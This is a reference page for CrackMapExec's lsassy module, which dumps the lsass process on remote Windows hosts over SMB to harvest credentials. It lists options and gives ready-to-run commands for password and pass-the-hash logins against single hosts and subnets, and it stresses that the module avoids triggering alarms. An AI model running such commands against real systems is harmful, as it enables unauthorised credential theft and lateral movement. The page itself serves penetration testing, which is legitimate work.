CrackMapExec Lsassy (smb)
This page contains detailed information about how to use the lsassy CME module while using the smb protocol. For list of all CrackMapExec modules, visit the CrackMapExec Module Library.
Description
This module dumps lsass process remotely using lsassy.exe, supporting multiple different methods. It also integrates with BloodHound out of the box, so that it can set the computer as owned in BloodHound automatically.
The lsassy module is OPSEC safe. This means that it doesn't touch the disk and therefore shouldn't trigger any alarms.
Supported Protocols
- smb
Module Source Code
Authors
- Romain Bentz (pixis - @hackanddo)
Module Options
Here is a complete list of lsassy module options:
# cme smb -M lsassy --options
[*] lsassy module options:
METHOD Method to use to dump lsass.exe with lsassy. See lsassy -h for more details
REMOTE_LSASS_DUMP Name of the remote lsass dump (default: Random)
PROCDUMP_PATH Path to procdump on attacker host (Required for method 2)
DUMPERT_PATH Path to procdump on attacker host (Required for method 5)
BLOODHOUND Enable Bloodhound integration (default: false)
NEO4JURI URI for Neo4j database (default: 127.0.0.1)
NEO4JPORT Listening port for Neo4j database (default: 7687)
NEO4JUSER Username for Neo4j database (default: 'neo4j')
NEO4JPASS Password for Neo4j database (default: 'neo4j')
WITHOUT_EDGES List of black listed edges (example: 'SQLAdmin,CanRDP', default: '')
Note that none of these options is required. If you want to change any of the default values, you can do so by adding, e.g. -o METHOD=VALUE parameter to the command line.
Module Usage
This is how to use the lsassy module while using the smb protocol:
Syntax:
# cme smb <TARGET[s]> -u <USERNAME> -p <PASSWORD> -d <DOMAIN> -M lsassy
Local admin:
# cme smb 10.0.5.1 -u Administrator -p P@ss123 -d . -M lsassy
# cme smb 10.0.5.1 -u Administrator -p P@ss123 --local-auth -M lsassy
Domain user:
# cme smb 10.0.5.1 -u bkpadmin -p P@ss123 -d target.corp -M lsassy
CrackMapExec also supports passing the hash, so you can specify NTLM hash instead of a password:
# cme smb 10.0.5.1 -u Administrator -H 432b022dc22aa5afe884e986b8383ff2 -d . -M lsassy
# cme smb 10.0.5.1 -u bkpadmin -H 432b022dc22aa5afe884e986b8383ff2 -d target.corp -M lsassy
The lsassy module can be also used against multiple hosts. Here's how to run it against multiple hosts:# cme smb target_list.txt -u Administrator -p P@ss123 -d . -M lsassy
# cme smb 10.0.5.0/24 -u Administrator -p P@ss123 -d . -M lsassy
# cme smb 10.0.5.1-100 -u Administrator -p P@ss123 -d . -M lsassy
References
- https://github.com/Hackndo/lsassy
- https://github.com/BloodHoundAD/BloodHound
- https://beta.hackndo.com
- https://en.hackndo.com
Version
This page has been created based on CrackMapExec version 5.1.7dev.
Visit CrackMapExec Module Library for more modules.